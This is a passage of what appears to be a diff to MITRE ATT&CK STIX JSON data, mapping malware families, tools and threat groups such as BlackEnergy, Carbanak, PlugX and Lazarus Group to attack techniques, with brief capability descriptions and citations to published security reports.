"https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) creates various subdirectories under %Temp%\\reports\\% and copies files to those subdirectories. It also creates a folder at C:\\Users\\\\AppData\\Roaming\\Microsoft\\store to store screenshot JPEG files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c93bb2b9-bd22-4e14-b884-2141168387b2", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the victim's current directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f757a567-97b2-41b0-b58a-1530156ba457", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--308e4e12-9dc8-41e8-ad5c-b21978ff57eb", + "source_ref": "course-of-action--f6b7c116-0821-4eb7-9b24-62bd09b3e575", + "modified": "2019-07-25T11:25:50.423Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--67003297-a35d-452f-b83b-34556115d15c", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.567Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "An [APT19](https://attack.mitre.org/groups/G0073) Port 22 malware variant registers itself as a service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4999a323-b025-4a1d-8c80-5ae36b2f5a0d", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.243Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) communicates with its C2 server over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f5a175ba-ed26-44f8-9828-c2aa0e1f7d86", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.762Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) gathers product names from the Registry key: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion ProductName and the processor description from the Registry key HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 ProcessorNameString.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c8bf1e63-1275-46c7-b378-b4a3cc3eb369", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.290Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can read data from files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5073b1b4-4018-4208-a46e-86a8358a6cee", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "Some [Felismus](https://attack.mitre.org/software/S0171) samples use AES to encrypt C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--5cdbfaba-b4be-4cff-bdc6-c9205c44c844", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to get text of the current foreground window.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--43d85ed6-223e-4402-bd29-be10a872359d", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.438Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) communicates via ICMP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--28a5dd20-3e47-4ad4-973e-475a65e96cac", + "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of spreading to USB devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--291df761-474b-4c5f-a9bd-2aaef0f80d70", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) performs desktop video recording and captures screenshots of the desktop and sends it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--16d5d573-60bb-402c-88c3-2bc0af8388eb", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can dump passwords and save them into \\ProgramData\\Mail\\MailAg\\pwds.txt.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b149adfe-547f-4cd4-af4a-ea7018a203c1", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa accesses the ADMIN$ share via SMB to conduct lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.068Z", + "id": "relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.440Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) has been observed using SQL injection to gain access to systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e11a3d87-d9cf-4dcf-b722-fef4b0a324b4", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "modified": "2019-03-22T19:55:13.721Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + }, + { + "source_name": "Cisco Group 72", + "description": "Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.", + "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.029Z", + "id": "relationship--196a2d37-4b87-465d-8d92-2e614cda869c", + "source_ref": "course-of-action--e8d22ec6-2236-48de-954b-974d17492782", + "modified": "2019-07-25T12:30:55.910Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) writes multiple outputs to a TMP file using the >> method.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1784577e-9d82-497b-aba1-bc4d5a23d8f8", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Felismus](https://attack.mitre.org/software/S0171) collects the current username and sends it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--427a9eb9-659d-433c-9e2c-9a66d115a9a3", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) has the ability to create a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "source_name": "Fidelis INOCNATION", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[S-Type](https://attack.mitre.org/software/S0085) may create a temporary user on the system named \u201cLost_{Unique Identifier}\u201d with the password \u201cpond~!@6\u201d{Unique Identifier}.\u201d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[netstat](https://attack.mitre.org/software/S0104) can be used to enumerate local network connections, including active TCP connections and other network statistics.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--28189361-4cd2-4925-a095-d7ebd07ebd57", + "source_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Netstat. Retrieved April 17, 2016.", + "source_name": "TechNet Netstat", + "url": "https://technet.microsoft.com/en-us/library/bb490947.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f9906a11-8ac7-4bd4-9c28-c58834ff593b", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.623Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used Microsoft\u2019s Sysinternals tools to gather detailed information about remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bfb1e467-dffc-463b-9f38-a3fafbb9d036", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.492Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) collects the current system time (UTC) and sends it back to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.401Z", + "id": "relationship--9494b0d8-26d9-48ae-8dd1-c9d8966b23a0", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.114Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[PlugX](https://attack.mitre.org/software/S0013) allows the operator to capture screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:17:59.258Z", + "id": "relationship--bb39cbf2-a9dc-4c31-9fb9-b6c456c2005c", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.899Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can log keystrokes on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:05.133Z", + "id": "relationship--891217a4-3822-4345-b77f-448f41fd9361", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "source_name": "Talos Agent Tesla Oct 2018", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + }, + { + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla June 2017", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) encrypts instructions in the payload using a simple XOR cipher.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:09:26.739Z", + "id": "relationship--e9404ebb-fce5-4596-b0f1-7f8a61578b32", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "modified": "2019-04-19T15:10:04.372Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the net view command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.749Z", + "id": "relationship--a951bef0-4a5a-49b0-b6bd-6a4dfbd60ca0", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.620Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GovCERT Carbon May 2016", + "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.", + "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Epic](https://attack.mitre.org/software/S0091) recursively searches for all .doc files on the system and collects a directory listing of the Desktop, %TEMP%, and %WINDOWS%\\Temp directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.173Z", + "id": "relationship--291e908e-1d2e-4b29-a564-5a33149d1dbb", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.930Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": 